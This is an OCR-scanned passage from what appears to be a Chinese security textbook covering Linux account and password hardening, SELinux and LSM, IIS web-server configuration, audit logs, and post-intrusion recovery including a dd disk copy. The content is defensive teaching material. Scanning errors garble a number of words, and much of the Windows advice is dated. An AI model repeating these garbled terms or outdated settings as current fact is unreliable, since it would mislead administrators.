虽然 Linux 是 “类 UNIX” 的 操作 系统 ,但 Linux 与 UNIX 又 有 些 不 同 : 不 属于 某 一 
家 厂商 ,没有 厂商 宣称 对 它 提 供 安全 保证 ,因此 用 户 只 有 自己 解决 安全 问题 。 作 为 开放 
式 操作 系统 ,Linux 不 可 避免 地 存在 一 些 安全 隐患 。 为 了 解决 这 些 隐 患 ,为 应 用 提供 一 个 
安全 的 操作 平台 ,首先 要 从 系统 自身 特点 入 手 保障 其 安全 性 ,也 可 从 网 络 上 找到 许多 现 
成 的 程序 和 工具 ,为 系统 加 上 必要 的 安全 措施 。 


1. 账号 安全 

Linux 是 一 个 多 用 户 操作 系统 ,任何 时 候 都 可 以 有 多 个 用 户 登 录 到 Linux 机 器 上 ,而 
且 这 些 用 户 中 的 每 一 个 都 可 以 同时 多 次 登录 。 总 是 以 root 登录 是 非常 危险 的 ,首先 ,在 
执行 shell 命令 时 很 容易 因为 打字 错误 而 引起 灾难 性 后 果 。 此 外 ,如 果 以 root 运行 某 个 
存在 漏洞 的 软件 , 则 这 一 漏洞 将 影响 到 这 个 系统 。 为 了 避免 此 类 安全 事件 的 发 生 ,要 为 
执行 非 root 任务 创建 非 root 用 户 ;为 使 用 系统 的 每 个 人 创建 单独 的 用 户 ; 管 理 用 户 权限 
时 给 文件 各 目录 设置 适当 的 许可 。 


2. 口令 安全 


口令 攻击 是 任何 系统 安全 都 将 面临 的 问题 ,在 Linux 系统 中 为 了 避免 口令 攻击 ,可 
以 做 如 下 设置 , 

(1) 对 于 非 隐藏 系统 , 先 暂时 把 它 关 闭 ,安装 shadow 套件 ,并 相应 地 迁移 用 户 和 组 。 
把 口令 策略 设 为 60—90 天 过 期 ,提前 5 天 警告 以 及 1 周 锁定 。 在 升级 之 前 ,检查 现 有 的 
软件 以 确保 它们 与 shadow 套件 兼容 。 

(2) 安装 主动 口令 检查 软件 ,强制 实施 最 大 量规 则 并 使 用 10 万 词汇 量 以 上 的 字典 。 

(3) 把 机 器 再 度 对 一 般 用 户 开 放 , 并 让 他 们 创建 新 口令 。 

(4) 定期 运行 crack 指令 ,并 使 用 能 搜集 到 的 内 容 最 广 的 词汇 表 ( 可 以 通过 at 命令 使 
这 个 过 程 自动 化 ) 。 

(5) 密切 关注 开发 商 和 安全 列表 动态 .以 了 解 可 能 会 暴露 口令 的 新 的 攻击 手段 。 

(6) 确保 每 个 用 户 为 他 能 访问 的 每 个 主机 都 创建 一 个 新 的 、 唯 一 的 口令 。 

(7) 对 用 户 进行 最 基本 的 口令 安全 培训 。 
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3. 日 志文 件 


Linux 的 日 志文 件 也 是 Linux 的 基本 安全 机 制 之 一 。 日 志文 件 记 录 整 个 操作 系统 的 
使 用 情况 。Linux 系统 的 主要 日 志 有 以 下 3 个 : /var/log/lastlog 文件 ,记录 最 后 进入 系 
统 的 用 户 的 信息 ;/var/log/secure 文件 ,记录 系统 自 开 通 以 来 所 有 用 户 的 登录 时 间 和 地 
点 ;/var/log/wtmp 文件 ,记录 当前 和 历史 上 登录 到 系统 的 用 户 的 登录 时 间 、 地 点 和 注销 
时 间 等 信息 。 网 络 管理 员 应 该 充分 利用 以 上 日 志文 件 , 维 护 系 统 安全 运行 。 


4. 特殊 文件 


系统 中 还 有 一 些 特殊 的 文件 ,如 环境 变量 文件 和 启动 文件 ,在 系统 中 也 作为 重点 安 
全 保护 对 象 。 例 如 

(1) 进入 系统 时 , 先 执 行 /etc/rc. local 文件 ,再 执行 /etc/profile 文件 ,再 执行 /etc/ 
bashrc 文件 ;结束 后 ,进入 bash( 假 如 登录 用 户 为 user), 先 执行 /etc/profile 文件 ,再 执 
行 /home/user/. bash_profile 文件 ,根据 该 文件 ,执行 /home/user/. bashrc 文件 ,再 根据 
该 文件 ,执行 /etc/bashrc 文件 ,执行 完毕 后 ,整个 执行 过 程 结 束 。 

(2) 切换 用 户 ( 如 从 root 用 户 切 换 至 wxc 用 户 ) 时 ,使 用 su 命令 ,系统 先 执 行 /home/ 
wxc/. bashrc 文件 ,再 根据 该 文件 ,执行 /etc/bashrc 文件 ,执行 完毕 后 ,整个 执行 过 程 结 
束 ; 当 使 用 "su -" 命 令 时 , 先 执行 /etc/profile 文件 ,再 执行 /etc/profile. d/ x*. sh 和 / 
home/wxc/. bash_profile 文件 ,根据 该 文件 ,执行 /home/wxc/. bashrc 文件 ,再 根据 该 文 
件 , 执 行 /etc/bashrc 文件 ,执行 完毕 后 ,整个 执行 过 程 结束 。 

这 些 文件 在 系统 启动 运行 过 程 中 都 起 到 非常 关键 的 作用 。 因 此 ,帮助 用 户 建立 一 个 
安全 的 工作 环境 ,必须 防止 这 些 文件 不 被 恶意 修改 ,以 免 系 统 被 恶意 操控 。 为 此 ,保护 这 
些 特殊 的 文件 显得 格外 重要 ,可 以 对 同 组 或 者 非 同 组 用 户 设置 这 该 类 文件 不 可 写 。 

以 前 的 Linux 内 核 只 提供 了 经 典 的 UNIX 自主 访问 控制 ,这 对 于 Linux 系统 的 安全 
性 是 远 远 不 够 的 ,特别 是 Linux 系统 现在 的 运用 越 来 越 广泛 。 为 了 增强 Linux 操作 系统 
的 安全 性 ,Linux 内 核 开 发 人 员 和 开源 爱好 者 开发 出 了 各 种 各 样 的 框架 模型 ,其 中 有 一 些 
已 经 被 加 入 到 标准 的 Linux 内 核 中 。 

(1) 安全 加 固 型 Linux(Security-Enhanced Linux,SELinux), SELinux 是 美国 国家 
安全 局 (NSA) 对 于 强制 访问 控制 的 实现 ,是 一 种 访问 控制 体系 ,在 这 种 访问 控制 体系 的 
限制 下 ,每 个 进程 都 进行 了 权限 角色 的 设置 ,只 能 访问 在 角色 访问 范围 内 的 客体 。 
SElinux 为 每 一 个 用 户 ,程序 .进程 和 文件 ,根据 访问 权限 进行 角色 和 访问 域 的 范围 划分 ， 
根据 具体 的 策略 来 进行 访问 权限 的 授予 。SELinux 是 目前 Linux 系统 上 功能 最 全 面 的 
安全 框架 ,是 Linux 上 非常 出 色 的 安全 子 系统 。 

(2) 域 和 类 型 增强 (DTE)。DTE 是 一 种 强制 访问 控制 安全 策略 ,可 将 访问 主体 归 到 
不 同 的 域 中 ,而 把 被 访问 的 客体 归 到 不 同 的 类 型 中 ,系统 按照 规则 ,只 允许 特定 域 中 的 主 
体能 够 访问 指定 类 型 中 的 资源 ,不 同 域 之 间 的 访问 被 限制 。 

(3) Linux 和 人 侵 检测 系统 (Linux Intrusion Detection System,LIDS)。LIDS 可 以 完 
成 对 重要 文件 和 进程 的 保护 ,并 且 可 以 拒绝 任何 用 户 ( 包 括 root 用 户 ) 向 内 核 插入 模块 ， 
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这 对 内 核 的 安全 性 是 个 极 大 的 保证 。 目 前 LIDS 加 入 到 Linux 内 核 中 ,用 来 加 强 Linux 
内 核 的 安全 性 。 

(4) Linux 安全 模块 (LSM) 。 在 21 世纪 初 的 一 次 Linux 内 核 峰会 上 ,美国 国家 安全 
局 (NSA) 提 出 了 SELinux。 当 时 的 Linux 内 核 管理 人 员 也 认为 ,在 Linux 内 核 上 开发 一 
个 通用 的 安全 访问 控制 模型 是 必 不 可 少 的 ,同时 认为 以 动态 可 加 载 模块 的 方式 来 实现 是 
最 好 的 ,因为 这 样 就 可 以 兼容 已 经 存在 的 各 种 不 同 的 安全 访问 控制 系统 。 就 这 样 , Linux 
安全 模块 (LSM) 诞 生 了 ,这 是 Linux 内 核 的 一 个 轻 量 级 通用 访问 控制 框架 。 用 户 可 根据 
自己 的 实际 需要 编写 满足 需求 的 安全 模块 ,然后 利用 Linux 系统 中 的 动态 可 加 载 模 块 技 
术 , 将 自 定义 模块 添加 到 Linux 内 核 中 ,完成 对 Linux 的 安全 访问 控制 。 

后 讨论 思考 

(1) Linux 对 口令 的 防护 方式 是 怎样 的 ? 

(2) 简单 介绍 LSM 的 设计 原理 。 


104 Web 站 点 的 安全 


1041 Web 站 点 安全 概述 


Web 站 点 采用 浏览 器 /服务 器 (B/S) 架 构 , 通 过 超 文 本 传输 协议 (HyperText 
Transfer Protocol, HTTP) 提 供 Web 服务 器 和 客户 端 之 间 的 通信 ,这 种 结构 也 称 为 Web 
架构 。 随 着 Web 2.0 的 发 展 ,出 现 了 数据 与 服务 处 理 分 离 .服务 与 数据 分 布 式 等 变化 ,其 
交互 性 能 增强 , 称 为 浏览 器 /服务 器 /数据 库 (B/S/D)3 层 结构 。 

一 般 ,浏览 器 和 Web 站 点 通信 和 包括 4 个 步 又 : 

(1) 连接 。Web 浏览 器 与 Web 服务 器 建立 连接 ,打开 一 个 称 为 socket( 套 接 字 ) 的 虚 
拟 文件 ,此 文件 的 建立 标志 着 连接 建立 成 功 。 

(2) 请 求 。Web 浏览 器 通过 socket 向 Web 服务 器 提交 请 求 。 

(3) 应 答 。Web 浏览 器 提交 请 求 后 ,通过 HTTP 协议 传送 给 Web 服务 器 , Web 服 
务 器 接 到 后 进行 事务 处 理 , 处理 结 果 又 通过 HTTP 协议 回 传 给 Web 浏览 器 ,从 而 在 
Web 浏览 器 上 显示 出 所 请 求 的 页 面 。 

(4) 关闭 连接 。 当 应 答 结束 后 ,Web 浏览 器 与 Web 服务 器 必须 断 开 ,以 保证 其 他 
Web 浏览 器 能 够 与 Web 服务 器 建立 连接 。 

Web 通过 这 样 的 方式 实现 W eb 网 站 服务 ,实现 网 页 浏览 .信息 检索 .网 上 购物 甚至 
是 网 络 游戏 和 网 络 办 公 等 一 系列 功能 。 

早期 的 Web 服务 没有 考虑 安全 问题 ,也 几乎 没有 网 络 安全 问题 ,但 随 着 网 络 应 用 的 
多 样 化 , Web 安全 问题 日 益 突 出 。Web 生成 环境 包括 计算 机 硬件 、 操 作 系统 . 计 算 机 网 
络 .许多 网 络 服务 和 应 用 ,所 有 这 些 都 存在 着 安全 隐患 ,最终 威胁 到 Web 能 和 否 安全 有 效 
地 提供 服务 。 在 分 析 Web 服务 器 的 安全 性 时 ,一定 要 考虑 到 各 个 方面 ,因为 它们 是 相互 
联系 的 ,每 个 方面 都 会 影响 到 Web 服务 器 的 安全 性 ,并 且 遵 循 木 桶 原则 , 即 安全 性 最 差 的 方 
面 决定 了 给 定 服务 器 的 安全 级 别 。 因 此 一 个 Web 网 站 应 该 从 全 方位 实施 安全 措施 : 
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(1) 硬件 安全 是 不 容 忽视 的 问题 ,所 处 的 环境 不 应 该 存在 对 硬件 有 损伤 和 威胁 的 因 
素 ,如 温 湿度 不 适宜 、 过 多 的 灰尘 和 电磁 干扰 、 水 火 隐患 的 威胁 等 。 

(2) 增强 服务 器 操作 系统 的 安全 ,密切 关注 并 及 时 安装 系统 及 软件 的 最 新 补丁 。 建 
立 良好 的 账号 管理 制度 ,使 用 足够 安全 的 口令 ,并 正确 设置 用 户 访问 权限 。 

(3) 恰当 地 配置 Web 服务 器 ,只 保留 必要 服务 ,删除 和 关闭 无 用 或 不 必要 的 服务 。 

(4) 对 服务 器 进行 远程 管理 时 ,应 使 用 SSL 等 安全 协议 ,避免 使 用 Telnet、FTP 等 程 
序 明文 传输 。 

(5) 及 时 升级 病毒 库 和 防火 墙 安全 策略 表 。 

(6) 做 好 系统 审计 功能 的 设置 ,定期 对 各 种 日 志 进行 整理 和 分 析 。 

(7) 制定 符合 本 部 门 情况 的 系统 软 硬 件 访问 制度 。 


1042 Web 站 点 的 安全 策略 


Web 站 点 管理 的 核心 是 Web 服务 器 系统 和 IIS 的 双重 安全 。 保 护 IIS 安全 的 第 一 
步 就 是 确保 Windows 系统 的 安全 ,并 且 其 管理 是 一 个 长 期 维护 和 积累 的 过 程 ,尤其 是 对 
于 安全 问题 而 言 更 是 如 此 。 


1. 系统 安全 策略 的 配置 


(1) 限制 匿名 访问 本 机 用 户 。 选 择 “ 开 始 ” 一 “程序 ”一 “管理 工具 ”一 “本 地 安全 策略 ” 
一 “本 地 策略 ”- 盖 安全 选项 ,双击 “对 匿名 连接 的 额外 限制 ", 在 下 拉 菜 单 中 选择 “不 允许 
枚 举 SAM 账号 和 共享 ”, 单 击 “ 确 定 ” 按 钮 完成 设置 。 

(2) 限制 远程 用 户 对 光驱 或 软驱 的 访问 。 选 择 “ 开 始 ” 一 “程序 ”一 “管理 工具 ”一 “本 
地 安全 策略 ”>“ 本 地 策略 ”一 “安全 选项 ”双击 “只 有 本 地 登录 用 户 才能 访问 软盘 ” ,选择 
“已 启用 ” 单 选 按钮 , 单 击 “ 确 定 ” 按 钮 完成 设置 。 

(3) 限制 远程 用 户 对 NetMeeting 的 共享 。 选 择 “ 开 始 ”>“ 运 行 ”, 在 “运行 "对 话 框 中 
输入 gpedit. msc, 在 “组 策略 ”窗口 中 依次 选择 “计算 机 配置 ">“ 管 理 模 板 ” 一 “Windows 
组 件 ”>NetMeeting, 单 击 “ 禁 用 远程 桌面 共享 ", 选 择 “ 启 用 ” 单 选 按钮 , 单 击 “ 确 定 ” 按 钮 
完成 设置 。 

(4) 限制 用 户 执行 Windows 安装 任务 。 这 个 策略 可 以 防止 用 户 在 系统 上 安装 软件 。 
设置 方法 与 (3) 相 同 。 


2. IIS 安全 策略 的 应 用 


在 Web 服务 器 建设 及 管理 过 程 中 ,系统 会 有 一 些 默认 设置 ,这些 参数 都 是 众所周知 
的 ,如 果 采 用 默认 设置 ,将 大 大 减 小 攻击 难度 ,因此 在 配置 Internet 信息 服务 (Internet 
Information Services ,IIS) 时 ,一 般 不 使 用 默认 的 Web 站 点 ,避免 外 界 对 网 站 的 攻击 ,有 具 
体 做 法 如 下 : 
(1) 停止 默认 的 Web 站 点 。 选 择 * 开 始 ” 一 “程序 ”~ 管理 工具 ”Internet 服务 管 
理 器 ”一 计算 机 名 称 ”, 选 择 “ 默 认 Web 站 点 ”, 在 右键 快捷 菜单 打开 的 窗口 中 选择 “ 停 
”完成 设置 。 
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(2) 删除 不 必要 的 虚拟 目录 。 选 择 “ 开 始 ” 一 “程序 ”一 “管理 工具 ”一 “Internet 服务 
管理 器 ”一 “计算 机 名 称 ”, 选择 “默认 Web 站 点 ”, 选 择 scripts ,在 右键 快捷 菜单 打开 的 窗 
口中 选择 “删除 ”完成 更 改 。 

(3) 分 类 设置 站 点 资源 访问 权限 。 对 于 Web 中 的 虚拟 目录 和 文件 ,在 右键 ,快捷 菜 
单 中 选择 “属性 ”命令 ,在 属性 窗口 中 选择 适当 的 权限 。 一 般 情况 下 应 作 如 下 设置 : 静态 
文件 允许 读 ,拒绝 写 ;脚本 文件 、exe 文件 等 可 以 执行 程序 设置 允许 执行 拒绝 读 、 写 ;通常 
不 开放 写 权 限 ;此 外 ,所 有 的 文件 和 目录 将 Everyone 用 户 组 的 权限 设置 为 只 读 权限 。 

(4) 修改 端口 值 。 选 择 相 应 站 点 的 属性 ,在 “Web 站 点 ”选项 卡 中 修改 Web 服务 器 默 
认 端 口 值 。Web 服务 默认 端口 值 为 80, 给 攻击 者 扫描 端口 和 攻击 网 站 带 来 便利 ,根据 需 
要 可 以 改变 默认 端口 值 ,增强 其 站 点 的 安全 性 。 


3. 审核 日 志 策略 的 配置 


通过 系统 日 志 可 以 了 解 故 障 发 生前 系统 的 运行 情况 ,在 默认 情况 下 安全 审核 是 关闭 
的 ,因此 。 一 般 需要 对 常用 的 3 种 日 志 配 置 (用 户 登录 日 志 、HTTP 审核 日 志和 FTP 审 
核 日 志 )。 

1) 设置 登录 审核 日 志 

选择 “开始 ”一 “程序 "一 “管理 工具 ”一 "本 地 安全 策略 ”一 “本 地 策略 一 “审核 策略 ”， 
双击 “审核 账户 登录 事件 ”, 选 择 “ 成 功 (S) ,失败 (F)” 复 选 框 。 

审核 事件 分 为 成 功 事件 和 失败 事件 。 成 功 事件 表示 一 个 用 户 成 功 地 获得 访问 某 种 
资源 的 权限 ,而 失败 事件 则 表明 用 户 操 作 失 败 。 过 多 的 失败 事件 可 解释 为 攻击 行为 ,但 
成 功 事件 的 解释 比较 困难 。 尽 管 多 数 成 功 的 审核 事件 仅 表明 活动 是 正常 的 ,但 获得 访问 
权 的 攻击 者 也 会 生成 一 个 成 功 事件 。 如 ,一 系列 失败 事件 后 面 跟着 一 个 成 功 事件 可 能 表 
示 企 图 进行 的 攻击 最 后 是 成 功 的 。 如 果 对 登录 事件 进行 审核 ,那么 每 次 用 户 在 计算 机 上 登 
录 或 注销 时 ,都 会 在 安全 日 志 中 生成 一 个 事件 。 可 以 使 用 事件 ID 对 登录 情况 进行 判断 。 

(1) 本 地 登录 尝试 失败 。 登 录 失 败 的 事件 ID 为 529.530.531.532.533.534 和 537, 
若 攻 击 者 试图 用 本 地 账户 的 用 户 名 和 密码 但 未 成 功 , 会 有 529 和 534 事件 发 生 。 

(2) 账户 误 用 。 事 件 530、531、532 和 533 表示 账户 误 用 。 

(3) 账户 锁定 。 事 件 539 表示 账户 被 锁定 。 

(4) 终端 服务 攻击 。 事 件 683 表示 用 户 没有 从 “终端 服务 ”会 话 注 销 ,事件 682 表示 
用 户 连 接 到 先前 断 开 的 连接 中 。 

2) 设置 HTTP 审核 日 志 

(1) 设置 日 志 的 属性 ,具体 方法 如 下 : 选择 “开始 "一 “程序 ”一 “管理 工具 ”一 
“Internet 服务 管理 器 ”>“ 计 算 机 名 称 ”, 选 择 站 点 名 称 ,用 右键 快捷 菜单 打开 “属性 ” 窗 
口 ,在 Web 选项 卡 中 ,选择 *W3C 扩充 日 志文 件 格式 ”的 “属性 ”, 对 “常规 属性 ”和 “扩充 的 
属性 ”进行 设置 。 

(2) 修改 日 志 的 存放 位 置 。HTTP 审核 日 志 的 默认 位 置 在 安装 目录 的 \system32\ 
LogFile 下 ,建议 与 Web 主 目录 文件 放 在 不 同 的 分 区 ,防止 攻击 者 恶意 算 改 日 志 。 具 体 
方法 与 上 述 类 似 ,不 同 的 是 ,在 “常规 属性 ”选项 卡 中 ,选择 “日 志文 件 目 录 ” 右 侧 的 浏览 按 
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钮 ,并 指定 一 个 新 目录 , 单 击 “确定 ?按钮 完成 设置 。 
[讨论 思考 
(1) Web 安全 包含 哪些 方面 ? 
(2) 如 何 通 过 日 志 来 观察 Web 是 否 遭 到 攻击 ? 


105 系统 的 恢复 


随 着 计算 机 及 其 网 络 应 用 普及 率 的 不 断 提高 , 越 来 越 多 的 企业 、 商 家 、 政 府 机 关 和 个 
人 通过 计算 机 来 获取 和 处 理 信息 ,将 重要 的 信息 以 数据 文件 的 形式 保存 在 计算 机 中 。 但 
是 ,由 于 网 络 安全 ,计算机 犯罪 等 问题 不 断 出 现 ,使 得 用 户 经 常 需要 做 一 些 恢 复 系统 和 数 
据 的 工作 ,为 此 本 节 介 绍 必要 的 系统 恢复 知识 。 


1051 系统 恢复 和 数据 恢复 


数据 库 安全 修复 技术 在 20 世纪 90 年 代 开始 流行 。 目 前 ,国内 外 已 有 许多 好 的 修复 
方法 和 工具 ,常用 的 有 数据 备份 .数据 恢复 和 数据 分 析 等 。 

数据 恢复 是 指 通 过 技术 手段 ,对 受到 病毒 攻击 、 人 为 损坏 或 硬件 损坏 等 而 丢失 的 电 
子 数据 进行 抢救 和 恢复 的 技术 。 数 据 恢复 的 方式 可 分 为 软件 恢复 方式 与 硬件 恢复 方式 ， 


如 图 10-1 所 示 。 
数据 恢复 方式 
| 
硬件 恢复 方式 软件 恢复 方式 
| T 1 
硬件 替代 固件 修复 | 盘 片 读 取 系统 级 恢复 | | 文件 级 恢复 
图 10-1 数据 恢复 方式 


1. 硬件 恢复 


硬件 恢复 方式 可 分 为 硬件 替代 、 固 件 修复 、 盘 片 读 取 3 种 。 

1) 硬件 蔡 代 

硬件 替代 是 用 同型 号 的 好 硬件 替代 坏 硬 件 以 达到 恢复 数据 的 目的 ,简称 替代 法 。 例 
如 ,如 果 BIOS 不 能 找到 硬盘 , 则 基本 可 以 判断 是 硬件 损坏 . 须 使 用 硬件 替代 ,如 硬盘 电路 
板 的 替代 、 闪 存盘 控制 芯片 更 换 等 。 

2) 固件 修复 

固件 是 硬盘 厂家 写 在 硬盘 中 的 初始 化 程序 ,一 般 工 具 是 访问 不 了 的 。 固 件 修 复 就 是 
用 硬盘 专用 修复 工具 修复 硬盘 固件 .从 而 恢复 硬盘 数据 。 最 流行 的 数据 恢复 工具 有 俄 罗 
斯 著名 硬盘 实验 室 ACE Laboratory 研究 开发 的 商用 的 专业 修复 硬盘 综合 工具 PC3000、 
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HRT-2.0 数据 恢复 机 Hardware Info Extractor HRT-200 等 。PC3000 和 HRT-2. 0 可 
以 对 硬盘 坏 扇 区 进行 修复 ,可 以 更 改 硬 盘 的 固件 程序 。 这 些 工 具 的 特点 是 都 用 硬件 加 

3) 盘 片 读 取 

盘 片 读 取 是 较为 高 级 的 技术 ,就 是 在 100 级 的 超 净 工作 间 内 对 硬盘 进行 开盘 ,取出 
盘 片 ,然后 用 专门 的 数据 恢复 设备 对 其 扫描 , 读 出 盘 片 上 的 数据 。 这 些 设备 的 恢复 原理 
是 用 激光 束 对 盘 片 表面 进行 扫描 ,因为 盘面 上 的 磁 信号 其 实 是 数字 信号 (0 和 1), 所 以 相 
应 地 反映 到 激光 东 发 射 的 信号 上 也 是 不 同 的 。 这 些 仪器 通过 这 样 的 扫描 地 把 整个 硬盘 
的 原始 信号 记录 在 仪器 附带 的 计算 机 里 面 ,然后 再 通过 专门 的 软件 分 析 来 进行 数据 恢 
复 。 这 种 设备 对 位 于 物理 坏 道 上 面 的 数据 也 能 恢复 ,数据 恢复 率 惊人 。 由 于 多 种 信息 的 
缺失 而 无 法 找 出 准确 的 数据 值 的 情况 也 可 以 通过 大 量 的 运算 在 多 种 可 能 的 数据 值 之 间 
进行 逐一 替代 ,结合 其 他 相关 扇 区 的 数据 信息 ,进行 迎 辑 合理 性 校 验 , 从 而 找 出 迎 辑 上 最 
符合 的 真 值 。 这 些 设 备 只 有 加 拿 大 和 美国 生产 ,由 于 受 有 关 法 律 的 限制 ,进口 非常 困难 。 
目前 ,国内 少数 数据 恢复 中 心 采用 了 变通 的 办 法 ,建立 一 个 100 级 的 超 净 实验 室 , 在 此 超 
净 实验 室 中 对 盘 腔 损坏 的 硬盘 开盘 , 取 下 盘 片 ,安装 到 同型 号 的 好 硬盘 上 ,同样 可 达到 数 
据 恢复 的 目的 。 

除了 以 上 这 些 数 据 恢复 的 方式 外 ,数据 恢复 的 难 易 程度 还 和 设备 及 操作 系统 有 关 。 
单机 的 硬盘 和 Windows 操作 系统 的 数据 恢复 相对 简单 。 而 服务 器 的 磁盘 阵列 和 UNIX 
等 网 络 操作 系统 数据 恢复 就 比较 复杂 。 


2. 软件 恢复 


软件 恢复 可 分 为 系统 级 恢复 与 文件 级 恢复 。 系 统 级 恢复 是 指 在 系统 无 法 正常 运作 的 
情况 下 ,通过 调用 已 经 备份 好 的 系统 资料 或 系统 数据 ,使 用 恢复 工具 等 ,使 系统 按照 备份 时 
的 部 分 或 全 部 正常 启动 运行 的 数值 特征 来 进行 运作 。 常 见 的 文件 系统 故障 有 误 删 除 . 误 格 
式 化 . 误 GHOST、 分 区 出 错 等 。 目 前 ,可 以 恢复 的 操作 系统 的 数据 有 DOS. Windows. 
UNIX.SCO UNIX.Solaris.Linux. IBM OS/2、Novell NetWare、Apple MAC 等 。 

Linux. UNIX 系统 的 数据 恢复 难度 非常 大 ,主要 原因 是 Linux UNIX 系统 下 的 数据 
恢复 工具 非常 少 。 系 统 恢复 作用 很 多 ,也 很 重要 。 例 如 ,在 系统 注册 表 被 破坏 的 时 候 , 通 
过 用 注册 表 备 份 中 的 正常 数据 代替 被 破坏 和 算 改 的 数据 ,从 而 使 系统 得 以 正常 运行 。 系 
统 恢复 的 另外 一 个 作用 在 于 发 现 并 修补 系统 漏洞 ,去 除 后 门 和 木马 等 。 

引导 代码 的 作用 就 是 让 硬盘 具备 可 以 引导 的 功能 。 如 果 引 导 代 码 丢 失 , 分 区 表 还 
在 ,那么 这 个 硬盘 作为 从 盘 所 有 分 区 数据 都 还 在 ,只 是 这 个 硬盘 不 能 够 用 来 启动 系统 了 。 
如 果 要 恢复 引导 代码 ,可 以 用 DOS 下 的 命令 FDISK /MBR ,这 个 命令 只 是 用 来 恢复 引导 
代码 ,不 会 引起 分 区 改变 ,不 丢失 数据 。 另 外 .也 可 以 用 工具 软件 ,比如 Diskgen、WinHex 
等 。 恢 复 操作 如 下 : 

首先 ,用 WinHex 从 别 的 系统 盘 把 引导 代码 复制 过 来 。 单 击 * 磁 盘 编辑 器 ”按钮 ,出 
现 “ 编 辑 磁盘 ”对 话 框 。 选 择 “HD0 WDC WD400EB 一 00CPF0”, 单 击 “ 确 定 ” 按 钮 ,打开 系 
统 盘 的 分 区 表 。 然 后 ,恢复 分 区 表 即 可 。 
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全 注意 : 在 修复 中 打开 了 两 个 窗口 ,当前 的 窗口 是 “硬盘 0”, 在 标题 栏 上 有 显示 。 另 外 ， 
打开 窗口 菜单 也 能 看 出 来 ,当前 窗口 被 打上 一 个 匀 , 如 果 想 切换 回 原来 的 窗口 ,就 单 击 “ 硬 盘 
1”)。 选 中 系统 盘 的 引导 代码 。 在 选区 中 单 击 , 选 “编辑 ”>“ 复 制 选 块 ”>“ 正 常 ”; 切 换 回 “ 硬 
盘 1” 窗 口 ,在 0 扇 区 的 第 一 个 字 节 处 单 击 , 选 择 “ 编 辑 ”>“ 剪 贴 板 数据 ”>“ 写 入 ”命令 出 现 
一 个 窗口 提示 , 单 击 “ 确 定 ” 按 钮 ,就 把 一 个 正常 系统 盘 上 的 引导 代码 复制 过 来 了 。 


1052 系统 恢复 的 过 程 


通常 ,在 发 现 系统 入侵 后 ,需要 将 入 侵 事 故 通知 管理 人 员 ,以 便 系统 管理 员 在 处 理 与 
恢复 系统 过 程 中 得 到 相关 部 门 的 配合 。 如 果 涉 及 法 律 问题 ,在 开始 恢复 之 前 需要 报警 ， 
以 便 公安 机 关 作 相关 的 法 律 调查 。 系 统管 理 员 应 严格 按照 既定 安全 策略 执行 系统 恢复 
过 程 中 的 所 有 步骤 。 需 要 注意 : 最 好 记录 恢复 过 程 中 采取 的 措施 和 操作 步骤 。 人 恢复 一 个 
被 人 侵 的 系统 是 很 麻烦 的 事 , 要 耗费 大 量 的 时 间 。 因 此 ,要 保持 清醒 的 头脑 ,以 免 做 出 草 
率 的 决定 ;记录 的 资料 可 以 留 作 以 后 的 参考 。 进 行 系统 恢复 工作 ,重新 获取 系统 控制 权 ， 
需要 按照 如 下 步骤 及 过 程 展开 。 

1) 断 网 检查 

为 了 夺回 对 被 人 侵 系统 的 控制 权 , 需 要 首先 将 被 人 侵 的 系统 从 网 络 上 断 开 ,这 里 包 
括 一 切 网 络 连接 ,如 无 线 、. 蓝 牙 、 拨 号 连接 等 。 因 为 在 系统 恢复 过 程 中 ,如 果 没 有 断 开 被 
侵入 系统 的 网 络 连接 ,那么 在 恢复 过 程 中 ,入 侵 者 可 能 继续 连接 到 被 人 侵 主 机 ,进而 破坏 
恢复 工作 。 

断 开 网 络 后 ,可 以 将 系统 管理 权限 集中 ,如 通过 单 用 户 模式 进入 UNIX 系统 或 者 以 
本 地 管理 者 (local administrator) 模 式 登 录 Windows NT。 当然, 重启 或 者 切换 到 单 用 
户 /本 地 管理 者 模式 的 操作 将 使 得 一 些 有 用 信息 丢失 ,因为 在 操作 过 程 中 ,被 人 侵 系 统 当 
前 运行 的 所 有 进程 都 会 被 杀 死 ,入 侵 现 场 被 破坏 。 因 此 ,需要 检查 被 入 侵 系 统 是 否 有 网 
络 嗅 探 器 或 木马 程序 正在 运行 。 在 进行 系统 恢复 的 过 程 中 ,如 果 系 统 已 经 处 于 UNIX 单 
用 户 模式 下 ,系统 会 阻止 合法 用 户 、 入 侵 者 和 入侵 进程 等 对 系统 的 访问 或 者 阻止 切换 主 
机 的 运行 状态 。 

2) 备份 取证 

在 进行 后 续 步 又 之 前 ,建议 备份 被 人 侵 的 系统 。 这 样 可 以 分 析 被 和 人 侵 的 系统 ,及 时 
发 现 系 统 的 漏洞 ,进行 相应 的 升级 与 更 新 ,以 防范 类 似 的 入侵 或 攻击 。 备 份 可 以 分 为 复 
制 镜像 和 文件 数据 的 备份 两 种 。 

备份 可 以 使 得 系统 恢复 到 入侵 前 的 状态 ,有 时 候 备 份 对 法 律 调 查 有 帮助 。 记 录 备 份 
的 卷 标 ,标志 和 日 期 ,然后 保存 到 一 个 安全 的 地 方 以 保持 数据 的 完整 性 。 

如 果 有 一 个 大 小 和 类 型 相同 的 硬盘 ,在 UNIX/Linux 系统 下 可 以 使 用 dd 命令 将 被 
和信 侵 系 统 进行 全 盘 复 制 。 例 如 ,在 一 个 有 两 个 小 型 机 系统 接口 硬盘 的 Linux 系统 中 ,以 
下 命令 将 在 大 小 和 类 型 相同 的 备份 硬盘 (/dev/sdb) 上 复制 被 入 侵 系统 (在 /dev/sda 盘 
上 ) 的 一 个 精确 副本 : 


# dd if= /dev/sda of= /dev/sdb 
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关于 dd 命令 更 详细 的 信息 可 以 阅读 系统 手册 获得 。 

还 有 其 他 方法 备份 被 入 侵 的 系统 。 如 在 Windows NT 系统 中 ,可 以 使 用 第 三 方程 序 
复制 被 人 侵 系 统 的 整个 硬盘 镜像 。 还 可 以 使 用 工具 进行 备份 。 

3) 审查 检测 

备份 被 人 侵 的 系统 后 ,首先 对 日 志文 件 和 系统 配置 文件 进行 审查 ,还 需要 注意 检测 
被 修改 的 数据 ,及 时 发 现 人 侵 留 下 的 工具 和 数据 ,以 便 发 现 人 侵 的 蛛丝马迹 .入侵 者 对 系 
统 的 修改 以 及 系统 配置 的 薄弱 之 处 。 

(1) 审查 系统 软件 和 配置 文件 。 通 常情 况 下 ,被 入 侵 系统 的 网 络 和 系统 程序 以 及 共 
享 库 文件 等 存在 被 修改 的 可 能 ,应 该 彻底 检查 所 有 的 系统 二 进 制 文件 ,将 其 与 原始 发 布 
